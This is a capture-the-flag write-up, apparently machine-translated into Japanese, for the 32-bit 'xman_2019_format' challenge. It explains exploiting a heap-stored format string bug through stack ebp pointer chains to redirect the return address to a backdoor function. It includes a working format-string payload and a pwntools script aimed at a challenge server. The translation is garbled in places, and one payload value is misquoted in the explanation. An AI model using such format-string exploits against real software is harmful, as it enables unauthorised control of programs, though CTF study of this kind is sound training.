xman_2019_format
- 定期検査、32ビットプログラム、nxがオンになっている
- プログラムで文字列を取得すると、バックドア関数back_doorr = 0x80485ABが見つかりました
- この質問bufはスタックに保存されませんが、mallocによって要求されたヒープに保存されます
- 次に、パラメータとしてbufを入力し、sub_80485C4と入力します。
- バックドア関数があるため、フォーマット文字列を使用して、リターンアドレスをback_doorに変更できます。これは、
主にデータの%ac$bn
長さをa
オフセットb
の位置に書き込むために使用されます。 - フォーマット文字列の脆弱性は通常、最初にスタックアドレスをリークしてからオフセットを計算する必要がありますが、ここではスタックではなくチャンクに格納されるため、ここで使用する方法はありません。したがって、すでにスタックにあるデータを使用して、関数のリターンアドレススタックへのポインターをスタックに配置し、リターンアドレススタックを乗っ取ることができます。
ebpチェーンは入力ポイントから10のオフセットにあり、ebpチェーン2は0x12にあり、リターンアドレスは0x13にあります。0xcf3cと複数の変更を組み合わせると、リターンアドレスの最後のポインターは0xcであることがわかります。リターンアドレスは0x8048697で、back_doorr = 0x80485AB - 私の考えは、ebpチェーンを使用して、ebpチェーンをリターンアドレスにポイントするポインターを変更してから、リターンアドレスをback_doorに変更することです。変更する必要があるのは、2バイトだけです。
payload='%12c%10$hhn|%34219c%18$hn'
ペイロードについて少し説明します。
%12c%10$hhn
リターンアドレスのポインタの最後のビットが0x0c(0〜FはすべてOK、確率は1/16)であり、オフセットは10(最初の丸で囲まれたebp上の図)チェーン内のコンテンツの下位バイト)が0xcに変更されました。0xffffcf38のコンテンツは0xffffcf0cになります。
%34249c%18$hn
次に、オフセットを18(上の図の2番目の円で囲まれたebpチェーン)に変更し続けます。すでに0xffffcf38を入力しているため、コンテンツは0xffffcf0cに変更されます。したがって、ここで変更されるのは0xffffcf0cのコンテンツです(これがリターンアドレスであると想定)。最後の2バイトのみが異なるため、このアドレスをback_doorに変更します。 、少し変更するだけですはい、34219 = 0x85ab
次はキャラクターをテストする時です。成功する前に何度か試しました。
完全な経験
from pwn import *
p = remote("node3.buuoj.cn",27585)
#p=process('./xman_2019_format')
backdoor = 0x080485AB
payload='%12c%10$hhn|%34219c%18$hn'
p.sendline(payload)
p.interactive()
常wp:https://www.yuque.com/u239977/cbzkn3/biczbd